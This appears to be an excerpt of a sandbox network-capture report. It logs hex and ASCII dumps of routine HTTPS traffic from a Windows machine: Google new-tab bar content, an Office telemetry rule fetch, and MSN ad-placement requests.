2024-11-28 14:17:23 UTC	372	IN	Data Raw: 31 64 65 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1dea)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-28 14:17:23 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-28 14:17:23 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-28 14:17:23 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-28 14:17:23 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-28 14:17:23 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 31 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700251,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-28 14:17:23 UTC	344	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-28 14:17:23 UTC	416	IN	Data Raw: 31 39 39 0d 0a 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f Data Ascii: 199\u003dclass{constructor(a){this.ih\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_
2024-11-28 14:17:23 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e Data Ascii: 8000isFinite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dn
2024-11-28 14:17:23 UTC	1390	IN	Data Raw: 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 64 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 52 64 5c 75 30 30 33 64 5f 2e 4a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 Data Ascii: 3dfunction(a,b,c\u003d0){return _.vb(_.de(a,b),c)};_.ee\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.ge\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Rd\u003d_.Jd;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141722Z-174f7845968glpgnhC1EWR7uec0000000ymg00000000crfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49739	142.250.181.100	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 14:17:23 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 14:17:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 14:17:23 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-28 14:17:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49742	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	1572	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141708Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=89b081b45c614ee3bd669fd4470c3877&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605279&metered=false&nettype=ethernet&npid=sc-280815&oemName=vgnaih%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=vgnaih20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605279&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: GBEUpv7Tm0SUjXTm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 14:17:23 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2930 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: nYqbTeVC6TyEgErJSErOKV9E2dVKc/pixPoNiB1pMd5/GVH+uZld4/3+L5q001w2H93q9hcVnCWnwSB9VWpk5AE0A74I51IqOy1jnILmxEiqsEMa674NRxPK3+utHqPAZZ99TKQpbCiATRUoxij5s8liIHNE40EnSATXm2n9XvKeAS4BqQW34Ie6c7icrWvLi9U4xwfGVDSkUHwtBpdJqbJdAJVDE16rIVN2vgOZsLQVIktXqqzWbtGazAu0CiAaRYAzL1nqhTVgx4ZKEMI+1jBE5gfTwEgFiK4Kc1CXh0KTu0zEoldaK8wYpijjUPXDqRP5yTurRfWlWdYW57GXRA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 14:17:23 GMT Connection: close
2024-11-28 14:17:23 UTC	2930	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49743	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	1579	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141708Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=68c4ec1374684e91a583b5eed7b03ab7&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605279&metered=false&nettype=ethernet&npid=sc-338388&oemName=vgnaih%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=vgnaih20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605279&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: GBEUpv7Tm0SUjXTm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 14:17:23 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2235 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: OvJxZlxXd01EcBti363pqBNPt9djIhGs85G6kGMGa7ZgRKTI/hS7V3AUrpCfjMedGTlrBUixX3Tr7PFSLOUzHgM5pMzKxOSLn/o9DNOUXtWQuSR0lnsNMVUYFmg3nfPq3f/ESKQ7QZQiSWHKWLTC0YFfRrnzuK1/RnbjqtgpJkoxpwrQuyg1bbucz7gpzkxN0OTqgT+zUuYbUJGiBtk6qSJrbQ/KxFMON41V27iKF9ZlV+7QTjrdg0LF2NFcgCDSgLiTHcsgI+/um+CWk+Hh4rWpuZygRA9L+ZM5Ed9gJ87wT5TFghhQ3Gr+KgXYvDds50bWcmcV01kiprBA5eoSkQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 14:17:23 GMT Connection: close
